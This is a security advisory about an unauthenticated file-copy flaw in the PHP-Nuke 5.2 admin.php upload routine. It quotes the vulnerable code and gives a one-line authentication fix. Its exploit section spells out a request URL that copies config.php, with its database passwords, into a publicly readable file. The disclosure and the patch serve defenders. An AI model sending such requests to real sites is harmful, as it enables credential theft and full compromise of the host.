|
Brought to you by:
Suppliers of:
|
|
|
| |
| PHP-Nuke is an open source webpage portal that powers many websites on the net. A security vulnerability in the product allows attackers to cause it to copy files from and to anywhere on the operating system hard drives (and thus gain access to or overwrite sensitive files). This would allow an attacker to completely compromise the remote host. |
| |
Credit:
The information has been provided by supergate and Lucisfero from ./twlc.
Workaround was suggested by Magnus Skjegstad.
The full advisory is available at: http://www.twlc.net/article.php?sid=421.
|
| |
Vulnerable systems:
PHP-Nuke 5.2 and prior
Immune systems:
PHP-Nuke 5.0 RC1 (only this one)
Exploit:
First run the following URL:
http://www.example.net/admin.php?upload=1 &file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php &userfile_name=hacked.txt
(NOTE: URL wrapped for readability)
Then access the created file:
http://www.example.net/images/hacked.txt
And you will see config.php that contains the DB passwords. Any other file can be copied just as easily.
Vulnerable code:
The admin.php contains this routine:
$basedir = dirname($SCRIPT_FILENAME);
$textrows = 20;
$textcols = 85;
$udir = dirname($PHP_SELF);
if(!$wdir) $wdir="/";
if($cancel) $op="FileManager";
if($upload) {
copy($userfile,$basedir.$wdir.$userfile_name);
$lastaction = ""._UPLOADED." $userfile_name --> $wdir";
// This need a rewrite -------------------------------------> OMG! WE AGREEEEEEEE lmao
//include("header.php");
//GraphicAdmin($hlpfile);
//html_header();
//displaydir();
$wdir2="/";
chdir($basedir . $wdir2);
//CloseTable();
//include("footer.php");
Header("Location: admin.php?op=FileManager");
exit;
}
That does not do a check to see if you are logged as admin or not, so you can use it without any authentication.
Solution:
A temporary solution would be to change:
"if($upload) {"
To
"if (($upload) && ($admintest)) {"
|
|
|
|
|
